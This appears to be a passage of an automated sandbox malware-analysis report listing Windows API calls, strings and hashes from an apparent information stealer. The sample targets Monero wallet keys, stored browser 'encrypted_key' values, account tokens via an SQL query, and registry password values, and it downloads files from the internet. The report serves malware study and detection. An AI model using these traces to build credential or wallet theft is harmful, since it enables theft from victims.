Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BD8D90: GetFileAttributesA.KERNEL32(00000000,?,00BC1B54,?,?,00BE564C,?,?,00BE0E1F), ref: 00BD8D9F

Part of subcall function 00BC9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BC9D39

Part of subcall function 00BC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
Part of subcall function 00BC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
Part of subcall function 00BC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
Part of subcall function 00BC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
Part of subcall function 00BC99C0: LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
Part of subcall function 00BC99C0: CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

Part of subcall function 00BD93C0: GlobalAlloc.KERNEL32(00000000,00BD43DD,00BD43DD), ref: 00BD93D3

StrStrA.SHLWAPI(?,013CE4B8), ref: 00BD43F3
GlobalFree.KERNEL32(?), ref: 00BD4512

Part of subcall function 00BC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9AEF
Part of subcall function 00BC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B01
Part of subcall function 00BC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BC4EEE,00000000,00000000), ref: 00BC9B2A
Part of subcall function 00BC9AC0: LocalFree.KERNEL32(?,?,?,?,00BC4EEE,00000000,?), ref: 00BC9B3F

lstrcat.KERNEL32(?,00000000), ref: 00BD44A3
StrCmpCA.SHLWAPI(?,00BE08D1), ref: 00BD44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00BD44D2
lstrcat.KERNEL32(00000000,?), ref: 00BD44E5
lstrcat.KERNEL32(00000000,00BE0FB8), ref: 00BD44F4

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 83254cc380fd9e511db36340d27498ec03dcd792993c67bb2ce0d08f179dc9d7
Instruction ID: acc3a9f1aff61dd074b30fe4fec895d4041d714ad7cbd2ccbae623e23720ece4
Opcode Fuzzy Hash: 83254cc380fd9e511db36340d27498ec03dcd792993c67bb2ce0d08f179dc9d7
Instruction Fuzzy Hash: 3C713876910208ABDB14FBA0DC99FEE73B9AB48300F0485D9F505A7181EB75DB49CFA1

Function 00BC1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BC12B4
Part of subcall function 00BC12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00BC12BB
Part of subcall function 00BC12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BC12D7
Part of subcall function 00BC12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BC12F5
Part of subcall function 00BC12A0: RegCloseKey.ADVAPI32(?), ref: 00BC12FF

lstrcat.KERNEL32(?,00000000), ref: 00BC134F
lstrlen.KERNEL32(?), ref: 00BC135C
lstrcat.KERNEL32(?,.keys), ref: 00BC1377

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD8B60: GetSystemTime.KERNEL32(00BE0E1A,013CA5A0,00BE05AE,?,?,00BC13F9,?,0000001A,00BE0E1A,00000000,?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BD8B86

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00BC1465

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
Part of subcall function 00BC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
Part of subcall function 00BC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
Part of subcall function 00BC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
Part of subcall function 00BC99C0: LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
Part of subcall function 00BC99C0: CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

DeleteFileA.KERNEL32(00000000), ref: 00BC14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00BC1335
\Monero\wallet.keys, xrefs: 00BC138D
.keys, xrefs: 00BC136B
wallet_path, xrefs: 00BC1330

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e12f80f8317a66523438d02ef66fd9e020f457210bf44b0ab63a93004fcd5ed8
Instruction ID: 225826110e7e750243fe5f36904433aef5918891466f49c789dd3821c77e4c4b
Opcode Fuzzy Hash: e12f80f8317a66523438d02ef66fd9e020f457210bf44b0ab63a93004fcd5ed8
Instruction Fuzzy Hash: 905150B1D101195BCB15EB60DC92FEDB3BCAF50300F4045E9B60A72192FF716B89CAA6

Function 00BC75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BC733A
Part of subcall function 00BC72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BC73B1
Part of subcall function 00BC72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BC740D
Part of subcall function 00BC72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00BC7452
Part of subcall function 00BC72D0: HeapFree.KERNEL32(00000000), ref: 00BC7459

lstrcat.KERNEL32(00000000,00BE17FC), ref: 00BC7606
lstrcat.KERNEL32(00000000,00000000), ref: 00BC7648
lstrcat.KERNEL32(00000000, : ), ref: 00BC765A
lstrcat.KERNEL32(00000000,00000000), ref: 00BC768F
lstrcat.KERNEL32(00000000,00BE1804), ref: 00BC76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00BC76D3
lstrcat.KERNEL32(00000000,00BE1808), ref: 00BC76ED
task.LIBCPMTD ref: 00BC76FB

Strings

: , xrefs: 00BC764E

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 412661326116d97fda712449a0560979d3742490fe1cd3a5404e6b36c04da4fb
Instruction ID: 694f929a4d5f5f2a5135a66533bbc8e3e4f912063ba900e3723885a0ab777a06
Opcode Fuzzy Hash: 412661326116d97fda712449a0560979d3742490fe1cd3a5404e6b36c04da4fb
Instruction Fuzzy Hash: 3B31E671900209DFCB08EBB5DC99EFE77F9BB54301B184568F102B7251DE35A986CB61

Function 00BD8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013CE338,00000000,?,00BE0E2C,00000000,?,00000000), ref: 00BD8130
RtlAllocateHeap.NTDLL(00000000), ref: 00BD8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00BD8158
__aulldiv.LIBCMT ref: 00BD8172
__aulldiv.LIBCMT ref: 00BD8180
wsprintfA.USER32 ref: 00BD81AC

Strings

@, xrefs: 00BD814D
%d MB, xrefs: 00BD81A3

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 9504d7d6971364cbe8dd742f6a19eeed70556a7074c4b32fe71fd1e77e84b3ed
Instruction ID: 16ade8e790a114cd82b33e0da1ae14af2cf5fbdb46007bee8eae0e8282019b6f
Opcode Fuzzy Hash: 9504d7d6971364cbe8dd742f6a19eeed70556a7074c4b32fe71fd1e77e84b3ed
Instruction Fuzzy Hash: C82158B1E44318ABDB00DFD5CC49FAEB7B8FB48B00F10465AF605BB280D77969058BA5

Function 00BC60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BC4839
Part of subcall function 00BC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BC4849

InternetOpenA.WININET(00BE0DF7,00000001,00000000,00000000,00000000), ref: 00BC610F
StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00BC618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00BC61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00BC61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BC620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00BC6249
InternetCloseHandle.WININET(?), ref: 00BC6253
InternetCloseHandle.WININET(00000000), ref: 00BC6260

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 9e2355ae8da4f64122124c99cf478e871f49535d38821542615df859795bdb77
Instruction ID: ebd2513730d8512142ac2d012343cf0d1d921f63d5889dd3a9ee52dab3879dec
Opcode Fuzzy Hash: 9e2355ae8da4f64122124c99cf478e871f49535d38821542615df859795bdb77
Instruction Fuzzy Hash: 4D514EB1900218AFDB20DF51DC49FEEB7B8EB44701F1480E9A605BB181EB756A89CF95

Function 00BC72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00BC733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00BC73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00BC740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00BC7452
HeapFree.KERNEL32(00000000), ref: 00BC7459
task.LIBCPMTD ref: 00BC7555

Strings

Password, xrefs: 00BC7401

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: e3ae01cb5dd7b81aaee0d5274edc9c217f5a02f0d3eb48b4425c8cca1948a5e2
Instruction ID: e78161b3de86328f67b1748675c9a26e79eb0987c72add4f49eb6ec94a63f72c
Opcode Fuzzy Hash: e3ae01cb5dd7b81aaee0d5274edc9c217f5a02f0d3eb48b4425c8cca1948a5e2
Instruction Fuzzy Hash: 646109B59442689BDB24DB50DC85FDAB7F8BF48300F0481E9E689A6241DF705BC9CFA1

Function 00BCBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

lstrlen.KERNEL32(00000000), ref: 00BCBC9F

Part of subcall function 00BD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BD8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00BCBCCD
lstrlen.KERNEL32(00000000), ref: 00BCBDA5
lstrlen.KERNEL32(00000000), ref: 00BCBDB9

Strings

AccountId, xrefs: 00BCBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00BCBBEB
AccountTokens, xrefs: 00BCBABA
AccountTokens, xrefs: 00BCBB49

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 61ceb6a47249847b1e9f425352d176fa08313ab6f558805c280d48f0cd788a65
Instruction ID: 3267bfb3aeed00f246737439a1e45988e6e395aa9f1adb7fc8c272dfac97a42a
Opcode Fuzzy Hash: 61ceb6a47249847b1e9f425352d176fa08313ab6f558805c280d48f0cd788a65
Instruction Fuzzy Hash: 12B142719101089BDF04FBA0DC96EEEB3B8AF14300F4445AAF506B2291FF356E49CB66

Function 00BD6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00BD6774
ExitProcess.KERNEL32 ref: 00BD67A5
ExitProcess.KERNEL32 ref: 00BD67AF
ExitProcess.KERNEL32 ref: 00BD67B9
ExitProcess.KERNEL32 ref: 00BD67C3
ExitProcess.KERNEL32 ref: 00BD67CD

Strings

*, xrefs: 00BD678C

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 0ad4a5440f1ae83ac4a30d9ca47a3377a32bb3859bb685c061c9a6918856b3a8
Instruction ID: 2922bc38a62bc565bd1e2a66725ed3b2cf6c853571a9b08597fed578f472ce87
Opcode Fuzzy Hash: 0ad4a5440f1ae83ac4a30d9ca47a3377a32bb3859bb685c061c9a6918856b3a8
Instruction Fuzzy Hash: 3AF0543090530DEFD3449FE1E90976CBB70FB04703F0C41AAE609A6291E6714F819B96

Function 00BC4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BC4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00BC4FD1
InternetOpenA.WININET(00BE0DDF,00000000,00000000,00000000,00000000), ref: 00BC4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00BC5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00BC5041
InternetCloseHandle.WININET(?), ref: 00BC50B9
InternetCloseHandle.WININET(?), ref: 00BC50C6

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
